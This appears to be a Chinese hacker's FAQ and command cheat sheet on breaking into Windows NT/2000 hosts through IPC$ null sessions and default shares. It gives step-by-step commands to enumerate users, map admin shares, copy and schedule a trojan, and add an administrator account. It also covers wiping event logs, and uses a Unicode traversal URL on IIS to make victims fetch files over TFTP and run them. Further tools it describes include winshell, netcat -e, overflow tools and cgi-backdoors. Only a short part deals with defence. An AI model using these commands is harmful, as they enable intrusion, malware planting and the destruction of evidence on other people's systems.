答：简单说来，空连接即不需要用户名和密码就可以建立IPC连接，但是这种连接是得不到什么权限的。建立空连接的命令：net use \\IP\ipc$ "" /user:""。空连接是在没有信任的情况下与服务器建立的会话（即未提供用户名与密码），但根据Win2000的访问控制模型，空会话的建立同样需要提供一个令牌，可是空会话在建立过程中并没有经过用户信息的认证，所以这个令牌中不包含用户信息，因此，这个会话无法在系统间发送加密信息，但这并不表示空会话的令牌中不包含安全标识符SID（它标识了用户和所属组），对于一个空会话，LSA提供的令牌的SID是S-1-5-7，这就是空会话的SID，用户名是：ANONYMOUS LOGON（这个用户名是可以在用户列表中看到的，但是无法在SAM数据库中找到，属于系统内置的账号），这个访问令牌包含下面伪装的组：Everyone，Network；在安全策略的限制下，这个空会话将被授权访问到上面两个组有权访问到的一切信息。
问：空连接有什么用？
答：对于NT，在默认安全设置下，借助空连接可以列举目标主机上的用户和共享，访问Everyone权限的共享，访问小部分注册表等，并没有什么太大的利用价值；对Win2000作用更小，因为在Win2000和以后版本中默认只有管理员和备份操作员有权从网络访问到注册表，而且实现起来也不方便，需借助工具。从这些我们可以看到，这种非信任会话并没有多大的用处，但从一次完整的IPC$入侵来看，空连接是一个不可缺少的跳板，因为我们从它那里可以得到用户列表，空连接还可以列举用户和组，目标系统类型等。这对于一个老练的黑客已经足够了。
问：如何利用空连接得到远程主机的用户列表
答：首先，先建立一个空会话（需要目标开放ipc$），用命令：net use \\ip\ipc$ "" /user:""即可建立空连接。然后用命令：net view \\IP命令查看远程主机的共享资源，如果对方开了共享，就可以列出共享名、类型及其注释。最后再使用nbtstat -A IP命令就可以得到远程主机的NetBIOS用户名列表（需要打开自己的NBT）。注意，建立IPC$连接的操作会在EventLog中留下记录，不管你是否登录成功。
问：空连接和IPC$是一回事吗？
空连接和IPC$是不同的概念。空连接是在没有信任的情况下与服务器建立的会话，换句话说，它是一个到服务器的匿名访问。IPC$是为了让进程间通信而开放的命名管道，可以通过验证用户名和密码获得相应的权限。IPC$连接可以实现远程登陆及对默认共享的访问。
问：IPC$是个漏洞吗？
许多文章中都提到了IPC$漏洞，其实，IPC$并不是真正意义上的漏洞，它是为了方便管理员的远程管理而开放的远程网络登陆功能，而且还打开了默认共享，即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$)。所有的这些，其初衷都是为了方便管理员的管理，但一些别有用心者会利用IPC$访问共享资源，导出用户列表，并使用字典工具进行密码探测，寄希望于获得更高的权限，从而达到不可告人的目的。从这个角度来说，IPC$常常被黑客所利用。
问：IPC$连接成功后，我用net uset kkk /add命令建立了一个账户，却发现这个账户在我自己的机器上，这是怎么回事？
答：IPC$建立成功只能说明你与远程主机建立了通信隧道，并不意味你取得了一个shell，只有在获得一个shell之后，你才能在远程建立一个账户，否则你的操作只是在本地进行。
问：我建立ipc$连接的时候返回如下信息：‘提供的凭据与已存在的凭据集冲突’，怎么回事？
答：这说明你与目标主机建立了一个以上的IPC$连接，这是不允许的，把其他的删掉吧。用如下命令计量：net use \\*.*.*.*\ipc$ /del。
问：IPC$与默认共享有什么联系？
答：默认共享是为了方便管理员远程管理而默认开启的共享，即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$)，我们通过ipc$连接可以实现对这些默认共享的访问，前提是对方没有关闭这些默认共享。
问：只要对方开放了139端口或者445端口就可以建立IPC$吗？
答：这种想法不一定正确！139、445端口开放了未必可以建立IPC$，但IPC$可建立则表示对方的139端口或445端口开放了。
问：怎样映射和访问默认共享？
答：使用命令net use z: \\目标IP\c$ "密码" /user:"用户名"命令，将对方的c盘映射为自己的z盘，其他盘类推。
如果已经和目标建立了IPC$，则可以直接用IP加盘符加$访问。比如执行copy muma.exe \\IP\d$\path\muma.exe命令，或者再映射也可以，只是无需用户名和密码了，例如输入：net use y: \\IP\d$命令。然后再执行copy muma.exe y:\path\muma.exe即可。当路径中包含空格时，须用""将路径全引住。
问：如何删除映射和ipc$连接？
答：用命令net use \\IP\ipc$ /del可以删除和一个目标的IPC$连接。用命令net use z: /del删除映射的Z盘，其他盘类推。而用命令net use * /del可以删除全部，在删除时会有提示要求按“y”键确认。
问：如何防范IPC$入侵？
答：首先要禁止空连接进行枚举(此操作并不能阻止空连接的建立)。运行regedit，找到：HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA下的DWORD值RestrictAnonymous的键值改为：00000001。
然后输入net share察看本地共享资源，接下来输入如下命令删除共享：
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete（如果有e,f等盘符可以同法删除）
接下来用记事本编辑如下内容的注册表文件，保存为任意名字的.Reg文件，使用时双击即可关闭默认共享和IPC$：
Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]
"AutoShareServer"=dword:00000000
"AutoSharewks"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]
"RestrictAnonymous"=dword:00000001注意，上面的代码最后面一定要空上一行，否则不会成功。其中，键值AutoShareServer对应C$、D$一类的缺省共享，键值AutoSharewks对应ADMIN$缺省共享，键值RestrictAnonymous对应IPC$空连接。
除了上面的方法，你也可以通过屏蔽139，445端口来防范别人通过IPC$来入侵，因为没有139，445端口的支持是无法建立IPC$的，因此屏蔽139，445端口同样可以阻止IPC$入侵。139端口可以通过禁止NBT来屏蔽，方法是：选择本地连接→TCP/IP属性→高级→WINS→禁用TCP/IP上的NETBIOS即可（图1）。445端口可以通过修改注册表来屏蔽方法是：打开注册表到HKEY_LOCAL_MACHINE\System\Controlset\Services\NetBT\Parameters下，新建预告DWORD值SMBDeviceEnabled，将其键值设为0，然后修改完后重启机器即可。 

常用的几条NET命令： 

==================================================

1. 知道对方ip查看对方的计算机名
方法：开始->运行->cmd->net view 对方ip
或者 开始->运行->cmd->nbtstat -a 对方ip

2. 知道对方计算机名查看对方ip
方法：开始->运行->cmd->ping 对方计算机名
或者 开始->运行->cmd->nbtstat -a 对方计算机名

（与远程主机建立空管连接） net use \\IP地址\ipc$ " " /use:" " 

（以管理员身份登录远程主机） net use \\IP地址\ipc$ " 密码" /use:" Administrator" 

（传送文件到远程主机WINNT目录下）copy 本机目录路径\程序 \\IP地址\admin$ 

（查看远程主机时间） net time \\IP地址 

（定时启动某个程序） at \\IP地址 02:18 readme.exe 

（查看共享） net view \\IP地址 

（查看netbios工作组列表） nbtstat -A IP地址 

（将远程主机C盘映射为自己的F盘） net use f: \\IP地址\c$ " " /user:" Administrator" 

（这两条把自己增加到管理员组）： net user 用户名 密码 /add 

net localgroup Administrators 用户名 /add 

（断开连接） net use \\IP地址\ipc$ /delete 

===================================================== 

擦屁屁： 

del C:\winnt\system32\logfiles\*.* 

del C:\winnt\system32\config\*.evt 

del C:\winnt\system32\dtclog\*.* 

del C:\winnt\system32\*.log 

del C:\winnt\system32\*.txt 

del C:\winnt\*.txt 

del C:\winnt\*.log 

============================ 

一、netsvc.exe 

下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“ 时间任务” 服务： 

netsvc /list \\IP地址 

netsvc schedule \\IP地址 /query 

netsvc \\IP地址 schedule /start 

二、OpenTelnet.exe 

远程启动主机的Telnet服务，并绑定端口到7878，例如： 

OpenTelnet \\192.168.1.103 Administrators  1 7878 

然后就可以telnet到主机的7878端口，进入DOS方式下： 

telnet IP地址 7878 

三、winshell.exe 

一个非常小的木马（不到6K），telnet到主机的7878端口，输入密码winshell，当看到CMD> 后，可打下面的命令： 

p Path （查看winshell主程序的路径信息） 

b reBoot （重新启动机器） 

d shutDown （关闭机器） 

s Shell （执行后你就会看到可爱的“ C:\> ” ） 

x eXit （退出本次登录会话，此命令并不终止winshell的运行） 

CMD> http://.../srv.exe （通过http下载其他网站上的文件到运行winshell的机器上） 

四、3389登陆器，GUI方式登录远程主机的 

五、elsave.exe 

事件日志清除工具 

elsave -s \\IP地址 -l " application" -C 

elsave -s \\IP地址 -l " system" -C 

elsave -s \\IP地址 -l " security" -C 

执行后成功清除应用程序日志，系统日志，安全日志 

六、hbulot.exe 

开启win2kserver和winxp的3389服务 

hbulot [/r] 

使用/r表示安装完成后自动重起目标使设置生效。 

七、nc.exe(netcat.exe) 

一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。 

想要连接到某处: nc [-options] hostname port[s] [ports] ... 

绑定端口等待连接: nc -l -p port [-options] [hostname] [port] 

参数: 

-e prog 程序重定向，一旦连接，就执行 [危险!!] 

-g gateway source-routing hop point[s], up to 8 

-G num source-routing pointer: 4, 8, 12, ... 

-h 帮助信息 

-i secs 延时的间隔 

-l 监听模式，用于入站连接 

-n 指定数字的IP地址，不能用hostname 

-o file 记录16进制的传输 

-p port 本地端口号 

-r 任意指定本地及远程端口 

-s addr 本地源地址 

-u UDP模式 

-v 详细输出— — 用两个-v可得到更详细的内容 

-w secs timeout的时间 

-z 将输入输出关掉— — 用于扫描时 

八、TFTPD32.EXE 

把自己的电脑临时变为一台FTP服务器，让肉鸡来下载文件，tftp命令要在肉鸡上执行，通常要利用Unicode漏洞或telnet到肉鸡，例如： 

http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:\winnt\system32\文件名 

然后可以直接令文件运行： 

http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名 

九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的，选择“ 溢出后在一个端口监听” ，然后用telnet连接它的监听端口，如果溢出成功，一连它的端口，绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出，成功以后winxp下需要打winxp。 

一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor，exe要放到cgi-bin目录下，asp放到有ASP执行权限的目录。然后用IE浏览器连接。 

一、一 Xscan命令行运行参数说明： 

在检测过程中，按" [空格]" 键可以查看各线程状态及扫描进度，按" q" 键保存当前数据后提前退出程序，按" " 强行关闭程序。 

1.命令格式: xscan -host [-] [其他选项] 

xscan -file [其他选项] 

其中 含义如下: 

-port : 检测常用服务的端口状态(可通过\dat\config.ini文件的" PORT-SCAN-OPTIONS\PORT-LIST" 项定制待检测端口列表)； 

-ftp : 检测FTP弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)； 

-ntpass : 检测NT-Server弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)； 

-cgi : 检测CGI漏洞(可通过\dat\config.ini文件的" CGI-ENCODE\encode_type" 项设置编码方案)； 

-iis : 检测IIS漏洞(可通过\dat\config.ini文件的" CGI-ENCODE\encode_type" 项设置编码方案)； 

[其他选项] 含义如下: 

-v: 显示详细扫描进度 

-p: 跳过Ping不通的主机 

-o: 跳过没有检测到开放端口的主机 

-t : 指定最大并发线程数量和并发主机数量, 默认数量为100,10
 
